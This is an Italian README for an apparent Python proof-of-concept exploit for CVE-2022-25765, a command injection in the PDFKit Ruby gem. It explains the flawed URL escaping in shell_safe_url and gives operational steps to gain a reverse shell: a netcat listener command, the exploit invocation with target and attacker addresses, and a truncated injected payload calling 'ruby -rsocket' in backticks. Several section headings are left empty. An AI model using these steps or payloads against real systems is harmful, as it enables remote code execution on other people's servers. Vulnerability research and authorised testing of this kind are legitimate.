
Exploit PoC Python per CVE-2022-25765, una injection di comandi critica in PDFKit. Genera una reverse shell tramite parametri URL non sanificati passati a wkhtmltopdf. Include istruzioni per l'uso e analisi tecnica della vulnerabilità.
Un piccolo exploit POC per CVE-2022-25765, PDFkit-CMD-Injection
Avvia un listener netcat sulla tua macchina attaccante:
nc -lvnp 4444
Esegui l'exploit:
python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
Esempio:
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444
Parametri:
-t, --target: URL di destinazione che esegue PDFKit vulnerabile-l, --lhost: Il tuo indirizzo IP per la connessione reverse shell-p, --lport: La tua porta per la connessione reverse shell (deve corrispondere al tuo listener netcat)ID CVE: CVE-2022-25765 Punteggio CVSS v3.1: 9.8 (Critico) Punteggio EPSS: 71.381% (99° percentile) CWE: CWE-77 - Neutralizzazione impropria di elementi speciali usati in un comando
PDFKit è una gemma Ruby che converte HTML in PDF utilizzando lo strumento a riga di comando wkhtmltopdf. La vulnerabilità risiede nel modo in cui PDFKit gestisce i parametri URL prima di passarli ai comandi di shell di sistema per la generazione di PDF.
La vulnerabilità risiede in lib/pdfkit/source.rb dove la sanificazione degli URL è implementata in modo improprio:
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
Il problema:
Vettore di attacco:
Questo PoC sfrutta la vulnerabilità:
http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'Sul sistema target: